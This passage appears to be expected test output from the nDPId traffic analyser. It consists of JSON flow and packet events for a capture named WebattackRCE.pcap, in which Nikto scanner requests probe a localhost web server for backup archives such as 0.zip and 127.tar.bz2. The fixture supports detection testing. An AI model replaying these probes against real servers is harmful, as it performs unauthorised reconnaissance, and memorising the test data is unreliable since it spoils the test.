+00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":135,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1576420276877,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49814,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1576420276879,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49816,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":879133,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAhf9AAEAGtjZ\/AAABfwAAAcKYH5Cnmb2\/tsRlFIAYAED+tAAAAQEICp1m+7edZvu2R0VUIC9zaXRlLmNlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":136,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1576420276879,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49816,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1576420276881,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49818,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":881290,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADADYtAAEAGLqt\/AAABfwAAAcKaH5CHzTXOE9kNb4AYAED+tAAAAQEICp1m+7mdZvu5R0VUIC8xMjcwLnRhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1576420276881,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49818,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":138,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1576420276884,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49820,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":138,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":884015,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAT5pAAEAG7Jt\/AAABfwAAAcKcH5DBOXfeD5T\/lYAYAED+tAAAAQEICp1m+7udZvu7R0VUIC8xMjcwLnRhciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":138,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_first_seen":1576420276884,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49820,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1576420276885,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49822,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":139,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":885411,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFQQ5AAEAG+yJ\/AAABfwAAAcKeH5AdhXlKg0oevYAYAED+uQAAAQEICp1m+72dZvu9R0VUIC8xMjcuMC4wLjEuYWx6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":139,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1576420276885,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49822,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1576420276886,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49824,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":140,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":886797,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFWJBAAEAG46B\/AAABfwAAAcKgH5CSJ2DMWYYFgIAYAED+uQAAAQEICp1m+76dZvu+R0VUIC8xMjcuMC4wLjEuYWx6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":140,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1576420276886,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49824,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":141,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1576420276888,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49826,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":141,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":888237,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC95a1AAEAGVot\/AAABfwAAAcKiH5DfWN3u+DsBkYAYAED+sQAAAQEICp1m+8CdZvvAR0VUIC8wLnppcCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":141,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1576420276888,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49826,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":142,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1576420276890,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49828,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":890439,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9vy5AAEAGfQp\/AAABfwAAAcKkH5Dme4drk\/tL44AYAED+sQAAAQEICp1m+8KdZvvCR0VUIC8wLnppcCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1576420276890,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49828,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":143,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1576420276891,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49830,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":891966,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF\/ZdAAEAGPpl\/AAABfwAAAcKmH5DYD8XTrc+7CoAYAED+uQAAAQEICp1m+8OdZvvDR0VUIC8xMjcuMC4wLjEudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":143,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1576420276891,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49830,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":144,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1576420276893,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49832,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":893531,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFI6xAAEAGGIV\/AAABfwAAAcKoH5Ar0hvuzfCq7oAYAED+uQAAAQEICp1m+8WdZvvFR0VUIC8xMjcuMC4wLjEudGFyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":144,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1576420276893,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49832,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":145,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1576420276894,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49834,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":894990,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDA5ZAAEAGOJ1\/AAABfwAAAcKqH5B\/mzvUPuYs44AYAED+twAAAQEICp1m+8adZvvGR0VUIC8xMjcudGFyLmJ6MiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1576420276894,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49834,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":146,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1576420276896,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49836,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":896425,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD\/SZAAEAGPwx\/AAABfwAAAcKsH5AB18VtW5jVeIAYAED+twAAAQEICp1m+8idZvvIR0VUIC8xMjcudGFyLmJ6MiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":146,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1576420276896,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49836,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":147,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1576420276897,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49838,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":897794,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFBrJAAEAGNX9\/AAABfwAAAcKuH5Ayaz75EQ6Mk4AYAED+uQAAAQEICp1m+8mdZvvJR0VUIC8xMjcuMC50YXIuYnoyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1576420276897,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49838,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1576420276900,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49840,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 